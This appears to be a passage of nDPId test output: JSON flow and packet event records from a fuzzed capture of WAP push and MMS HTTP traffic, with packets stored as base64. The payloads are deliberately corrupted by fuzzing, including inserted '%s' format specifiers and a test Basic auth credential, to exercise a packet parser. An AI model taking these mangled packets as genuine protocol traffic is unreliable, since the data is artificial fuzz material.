wcEFjY2VwdD48cmRmOkJhZz48cmRmOmxpPmFwcGxpY2F0aW9uL3ZuZC53YXAubW1zLW1lc3NhZ2U8L3JkZjpsaT48L3JkRzpCYWc+PC9wcmY6Q2NwcEFjY2VwdD5XL3JkZjpEZXNjcmlwdGlvbj48L3JkZjpSREY+DQo1Ni1Qcm9maWxlLURpZmYtMjogPD94bWwgdmVyc2lvbj0iMS4wIj8+PHJkZjpSREYgcG18bnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjInhtbLVzOnByZj0iaHR0cDovL3d3dy53YXBmb3J1bS5vcmcvVUFQUk9GL2NjcHBzY2hlbWEtMTk5OTEwMDQjIj48IS0tIGJyb3dzZXIgdmVuZG9yIHNpdGU6IERlZmF1bHQgZGVzY3JpcHRpb24gb2YgcHJvcGVydGllcyAtLT58ckhmOkRlc2NyaXB0aW9uPjxwcmY6Q2NwcEFjY2VwdC1DaGFyc2V0PjxyZGY6QmFnPjxyZGY6bGk+KjwvcmRmOmxpPjwvcmRmOkJhZz48L3ByZjpDY3BwQWNjZXB0LUNoYXJzZXQ+PC9yZGY6RGVzY3JpcHRpb24+PC9yZGY6UkRGPg0KNTYtUHJvZmlsZS1EaWZmLTM6IDw\/eG1sIHZlcnNpb249IjEuMCI\/PjxyZGY6UkRGIHhtbG5zOnJkZj1MaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyJ4bWxuczpwcmY9Imh0dHA6L9x3d3cud2FwZm9CdW0ub3JnL1VBUFJPRi9jY3Bwc2NoZW1hLTE5OTkxMDE0IyI+PCEtLSBicm93c2VyIHZlbmRvciBzaXRlOiBEZWZhdWx0IGRlc2NyaXB0aW9uIG9mIHByb3BlcnRpZXMxLS0+PHJkZk5EZXNjcmlwdGlvbj48cHJmOkNjcHBB9mNlcHQtTGFuZ3VhZ2U+PHJkZjpTZXE+PHJkZjpsaT5lbjwvcmRiOmxpPjwvcmRmOlNlcT48L3ByZjpDY3BwQWNjZXB0LUxhbmd1YWdlPjwvcmRmOkRlc2NyaXB0OG9uPjwvcmRmOlJERj4NCjU2LVByb2ZpbGUJICJodHRwOi8vd2FwLnNvbnllcmljc3Nvbm1vYmlsZS5jb20vVUFwcm9mL1Q2OFI="} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":100,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1031854562321,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.13","src_port":9587,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00990{"flow_id":28,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":321775,"pkt_caplen":477,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":477,"pkt_l4_len":443,"pkt":"CAAgsl17AFCLk5N8CABFAAHPQUtAAIAGWaOsFAMFrBQDDQovAFDlUkVhytsnNlAYIjhoLwAAMjAxLnhtbCIsIjEtT3dQVndnTWs4aXRxR3gwOGZNWXVTdz09IiwiMi1IZ0NURVFFMW9idmVOM0ZCeW8xLzVnPT0iLCIzLXpJdGdzSXlLQnBCem01c2xPYGRISEE9PSINCkNvb2tpZTogVXNlci1JZGVudGl0eS1Gb3J3JXMALXBwcC11c2VybmFtZT02QzZENjM2RDZGNkM2Ng0KQ281a2llOiBVc2VyLUlkZW50dHR5LUZvcndhcmQtbXMlcwBuPTM0MzkzMTM3MzIzNjMxMzAzMTMwQTAzNA0KQ29va2llOiBVc2VyLUlkZW50aXR5LUF1dGhlbnRpY2F0aW9uPUJlYXJlcg0KQ29va2llOiBJcC1BZGRyZXNzPTE5Mi4xNjguMi40Mg0KQ29va2llOiBCZWFyZXItVHlwZT1VRFANCldBUC1Db25uZWN0aW9uOiBTdGFjay1UeXBlPUNPDQpDb29raWU6IHd0bHMtc2VjdXJpdHktbGV2ZWw9bm9uZQ0KQ29udGVudC1MZW5ndGg6IDE0DQoNCoyFmDE4OTMwMQCNkJGA"} +00537{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":101,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":4,"flow_first_seen":1031854562320,"flow_last_seen":1031854562321,"flow_tot_l4_data_len":511,"flow_min_l4_data_len":20,"flow_max_l4_data_len":443,"flow_avg_l4_data_len":127,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.13","src_port":2607,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00424{"flow_id":28,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":322500,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxNNAAEAGF8KsFAMNrBQDBQBQCi\/K2yc25VJFYVAQgyynKAAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":103,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1031854562401,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.2.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2607,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00619{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":401771,"pkt_caplen":197,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":197,"pkt_l4_len":39,"pkt":"AFCLk5N8CAAgsl17CABFAAA7xNRAAEAGFzKsFAINrBQDBQBQCi\/K2yc25VJHCFAYgyz\/yAAASFRUUC8xLjEgMjAwIE9LDQpTZXN2ZXI6IFJlc2luLzIuMC4xDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0eW9uL3ZuZC53YXAubW1zLW1lc3NhZ2UNCnRvbnRlbnQtTGVuZ3RoOiAwDQpEYXRlOiBUaHUsIDEyIFNlcCAyMDAyIDE4OjE2OjAyIEdNVA0KDQo="} +00522{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":103,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1031854562401,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.2.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2607,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":104,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1031854562488,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":53193,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":488164,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AHWLk5N8CAAgsl17CABFAAAwxNVAAEAGF7isFAMNrBQDBc\/JAFDK5CpLAAAAAHACgyzcpwAAAQEEAgIEBbQ="} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":105,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1031854562488,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.35.13","src_port":80,"dst_port":53136,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":488426,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"CAAgsl17AFCLk5N8CABFAAAsQ0tAAIAGWUasFAMFrBQjDQBQz5DlU6AgyuQqTGASIjjNHQAAAgQFtG4v"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":106,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1031854562488,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":53136,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":488459,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxNZAAEAGF7+sFAMNrBQDBc+QAFDK5CpM5VPMIVAQgyyD5gAA"} +00850{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":489825,"pkt_caplen":370,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":370,"pkt_l4_len":336,"pkt":"AFCLkxN8CAAgsl17CABFAAFkZddAAEAGFoKsFAMNrBQDBc+QAFDK5CpN5VOgIVAYgyyj7gAAUE9TVCAvcHBnY3RybC9wcGdjb24lcwBsbG9naWMuZGxsIEhUVFAvZC4xDQpBdXRob3JpemF0aXhuOiBCYXNpYyBiRzFqWDNjNlZHVnpkREV5TXpRPQ0KQ29udGVudC1UeXBlOiBtdWx0aXBhcnQvcmVsYXRlZDsgYm91bmRhcnk9Im1zZyVzAHRfMF8xMDM4XzEwMzE4NTQ1NjI0ODQiOyB0eXBlPSJhcHBsaWNhdGlvTi94bWwiDQpVc2VyLUFnZW50OiBNTVMtUmVsYXktRGVsaXZlcnlJbml0aWF0b3INCkFjY2VwdDogYXBwbGljYXRpb24veG1sDQpDb25uZWN0aW9uOiVzAGVwLWFsaXZlDQpIb3N0OiAxNzIuMjAuMy41DQpDb250ZW50LWxlbmd0aDogODAwDQoNGg=="} +00538{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":107,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":2,"flow_first_seen":1031854562488,"flow_last_seen":1031854562489,"flow_tot_l4_data_len":356,"flow_min_l4_data_len":20,"flow_max_l4_data_len":336,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":53136,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":108,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1031854562489,"flow_last_seen":0,"flow_tot_l4_data_len":820,"flow_min_l4_data_len":820,"flow_max_l4_data_len":820,"flow_avg_l4_data_len":820,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.70.3.5","src_port":53136,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01494{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":489900,"pkt_caplen":854,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":854,"pkt_l4_len":820,"pkt":"AFCLk5N8CAAgsl17CABFAANIxNhAAEAGFJ2sFAMNrEYDBc+QAFDK5CuI5VOgYVAYgyy9cwAALS1tc2dwYXJ0XzBfMTAzOF8xMDMxODU0NTYyNDg0DQpDb250s250LVR5cGU6IGFwcGxpY2F0em9uk3htbA0KDQo8P3htbCB2ZXJzaW9uPSIxLjAiPz4NCjwhRE9DVFlQRSBwYXAgUFVCTElDICItLy9XQVBGT1JVTS8vRFREIFBBUCAxLjAvL0VOIg0KICAgICAgICAgNmh0dHA6Ly93d3cud2FwZm9ydW0ub3JnL0RURC9wYXBfMS4wLmR0ZCI+DQo8cCBwPg0KICA8cHVzaC1tZXNzYWdlIHB1dmgtaWQ9IjE4OTMwMV8xMDMxODU0NTYyNDgyXzEwMzhAZ2VjZHMyLm1vYmlsaXR5bGFiLm5lWSIgZGVsaXZlci1iZWZvcmUtdGltZXN0YW1wPSIyMDAyLTA5LTEyVDE5OjE0OjQ4SiIgcHBnLW5vdGlmeS1yZXF1ZXN0ZWQtdG89Imh0dHA6Ly8xNzIuMjAuMy4xMytzZXJ2bGV0cy9tbXMiPg0KICAgITxhZGRyZXNzIGFkZHJlc3MtdmFsdWU9IldBUFBVU0g9KzQ5MTcwNjEwMTAwNC9UWVBFPVBMTU5AMTcyLjIwLjMuNSI+PC9hZGRyZXNzPg0KIDIgIDxxdWFsaXR5LW9mLXNlcnZpY2UgcHJpb3JpdHk9Im1lZGl1bSIgZGVsaXZlcnktbWV0aG9kPSJ1bmNvbmZpcm1lZCI+PC9xdWFsaXR5LW9mLSVzAHZpY2U+DQogIDwvdnVzaC1tZXNzYWdlPg0KPC9wYXA+DQoNCi0tbXNncGFydF8wXzEwWDhfMTAzMTg1NDU2MjQ4NA0KQ29udGVudC1UeXBlOiBjcHBsaVdhdGlvbi92bmQud2FwLm1tcy1tZXNzYWdlDQpYLWphcC1BcHBsaWNhdGlvbi1JZDogNA0KDR+Mho2QizE4OTMwMEBnZWNkczIubW9iaWxpdHlsYWIubmV0AJcrNDkxNzI2MTAxMDA0L1RZUEU9UExNTleFBD2A2eKVgQ0KLS1tc2dnYXJ0XzBfMTAzOF8xMDMxODU0NTYyNDg0LS0="} +00538{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":108,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1031854562489,"flow_last_seen":0,"flow_tot_l4_data_len":820,"flow_min_l4_data_len":820,"flow_max_l4_data_len":820,"flow_avg_l4_data_len":820,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.70.3.5","src_port":53136,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Cloudflare","breed":"Acceptable","category":"Web"},"http": {}} +00431{"flow_id":33,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":490275,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoREtAAIAGWEqsFAMFrBQDDQBQz5DlW6AhyuQuqFAQHdzk2gAAAgQFtG4v"} +00546{"flow_id":33,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":490983,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"CAAgsl17AFCLk5N8CABFAACBRUtAAIAGVvGsFAMFrBQDDQBQz5DlU6AhyuQuqFAYHdzS9gAASFRUUC8xLjEgMTAwIENvbnRpbnVlDQpTZXJ2ZXI6IE1pY3Jvc29mdC1JSVMvNC4wDQpEYXRlOiBUaHUsIDEyIFNlcCAyMDAyIDE4OjAwOjA5IEdNVA0KDQo="} +00424{"flow_id":33,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":491079,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":15,"pkt":"AFCLk5N8CAAgsl17CABFAAAjxNlAAEAGF7ysFAMNrBQDBc+QAFDK5C6o5VOgelAQgyx\/MQAA"} +00431{"flow_id":28,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":528807,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoRktAAIAGVkqsFAMFrBQDDQovAFDlUkcIytsnxVBQIakGdgAASFRUUC8x"} +00614{"flow_id":33,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":594466,"pkt_caplen":195,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":195,"pkt_l4_len":161,"pkt":"CAAgsl17AFCLk5N8CABFAAC1R0tAAIAGVL2sFAMFrBQDDQBQz5DlU6B6yuQuqFAYHdzmxQAASFRUUC8xLjEgMjAyIEFjY2VwdGVkDRpTZXJ2ZXI6IE1pY3Jvc29mdC1JSVMvNC4wDQpEYXRlOiBUaHXlIDEyIFNlcCAyMDAyIDE4OjAwOjA5IEdNVA0KQ29udGVuvy1MZW5ndGg6IDQyNw0KQ4VudGVudC1UeXBlOiBhcHBsaWNhdGlvbi94bWwNCg0K"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":114,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1031854562690,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.67.13","dst_ip":"172.20.3.5","src_port":53136,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":690442,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAobNpAAEAGF7usFEMNrBQDBc+QAFDK5C6o5VOhNFAQgyx+pAAA"} +00998{"flow_id":33,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":690738,"pkt_caplen":481,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":481,"pkt_l4_len":447,"pkt":"CAAgsl17AFCLk5N8CABFAAHTSEtAAIAGUp+sFAMFrBQDDQBQz5DlU6EHyuRu+lAYHdyxWQAAPD94bWwgdmVyc2lvbj0iMS4wIj8+CjwhRE9DW1lQRSBwYXAgUFVCTElDICItLy9XQVBGT1JVTS8vRFREIFBBUCAxLjAvL0VOIgogICAgICAgICAgImh0dHA6Ly93d3cud2FwZm9ydW0ub3JnL0RURC9wYXBfMS4wLmR0ZCI+CjxwYXA+CiAgPHB1c2gtcmVzcG9uc2UgcHUCaC1pZD0iMTg5MzAxXzEwMzE4NTQ1NjI0ODJfMTAzOEBnZWNkczIubW9iaWxpdHlsYR8ubmV0IiBzZW5kZXItYWRkcmVzcz0iaHR0cDovL2xtY21vbGYud6ZwbWF0aWMuZGUiIHNlbmRlci1uYW1lPSJ3Z3A0IiByZXBseS10aW1lPSIyMDASLTA5LTEyVDE4OjAwOjA5WiI+CiAoICAccmVzcG9uc2UtcmVzdWx0IGNvZGU9IjEwMDEiIGRlc2M9IlRoZSByZXF1ZXN0IGFjY2VvdGVkIGZvcmBwcm9jZXNzaW5nIj48L3Jlc3BvbnNlLXJlc3VsdD4KICA8L3B1c2gtcmVzcG9uc2U+CjwvcGFwPg=="} +00423{"flow_id":33,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":790415,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5NcCAAgsl17CABFAAAoxNtAAEAGF7qsFAMNrBQDBc+QAFDK5C6o5VOislAQgyx8+QAA"} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":117,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854565,"pkt_ts_usec":447882,"pkt_caplen":60,"pkt_type":3072,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"CAAgsl17AFCLk5N8DABFJXMATUtAAIAGT0asFAMFrBQDDQowAFDlXnSjAABhAGACIAC1aQAAAgQFtCiq"} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":117,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","type":3072} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":118,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1031854565447,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2608,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":118,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854565,"pkt_ts_usec":447923,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AFCLk5N8CAAgsl17CABFAAAsxNxAAEQGF7WsFAMNrBQDBQBQCjDK9pOA5V50pGASgyzztQAAAgQFtA=="} +00431{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854565,"pkt_ts_usec":448107,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoTktAAIAGTkqsFAMFrBQDDQowAFDlXnSkyvaTgVAQIgtsZgAAAgQFtCiq"} +01371{"flow_id":36,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854565,"pkt_ts_usec":448490,"pkt_caplen":762,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":762,"pkt_l4_len":728,"pkt":"CAAgZV17c1CLk5N8CABFAALsT0tAAIAGSoasFAMFrBQDDQowAFDlXnSkyvaTgVAYIjgpLgAAUE9TVCAvc2VydmxldHMvbW1zIEhUVFAvMS4xDQpI9HN0OiAxNzIuMjAuMy4xMw0KcW9udE1udC1UeXBlOiBhcHBsaWNhdGl\/bi94bWwNCkNvbnRlbnQtTGVuZ3RoOiA2MDYNCg0KPD94bWwgdmVyc2lvbj0iMS6wIj8+CjwhRE9DVFlQRSBwYXAgUFVCTElBICItLy9XQVBGT1JVTS8vRFREIFBBUCAxLjAvL0VOIgogICAgICAgICAgImh0dHA6Ly93d3cud2twZm9ydW0ub3JnL0RURC9wYXBfMS4wLrx0ZMA+CjxwYVM+CiAgPHJlc3VsdC5vdGlmaWNhdGlvbi1tZXNzYWdlIHB1T2gtaWQ9IjFoOTMwMV8xMDMxODU0NTYyNDgyXzEwMzhAZ2VjZHMyLm1vYmlsaXR5bGFiLm5ldCIgc2VuZGVyLWFkZHJlc3M9Imh0dHA6Ly9sbWNtb2xmLndhcG1hdGljLmRlIiBzZW5kZXItbmFpZT0id2dwNCIgcmVjZWl2dmQtdGltcT0iNjAwMi0wOS0xMlQxODowMDowOVoiIGV2ZW50LXRpbWU9IjIwMDItMDktMTJUMTg6MDA6MTJaIiBtZXNzYWdlLXN0YXRlPSJkZWyDdmVyZWQiIGNvZGU9IjEwMDBYPgogICAgPGFkZHJlc3MgYWRkcu5zcy12YWx1ZUIiV0FQUFVTSD0rNDkxNzI2MTAxMDA0L1RZUEU9UExNTkAxNzIuMjAuMy41Ij48L2FkZHJlc3M+CiAgICA8cXVhbGl0eS1vZi1zZXJ2aWNlIGRlbGl2ZXJ5LW1ldGhvZD0idW5jb25maXJtZWR0IG5ldHdvcms9IkdTTSI+PC9xa2FsaXR5LW9mLXNlcnZpY2U+CiAgPC9yZXN1bHRub3RpZmljYXRpb24tbWVzc2FnZT4KPC9wYXA+"} +00537{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":120,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":3,"flow_first_seen":1031854565447,"flow_last_seen":1031854565448,"flow_tot_l4_data_len":772,"flow_min_l4_data_len":20,"flow_max_l4_data_len":728,"flow_avg_l4_data_len":257,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2608,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":121,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1031854565449,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.148.5","src_port":80,"dst_port":2608,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 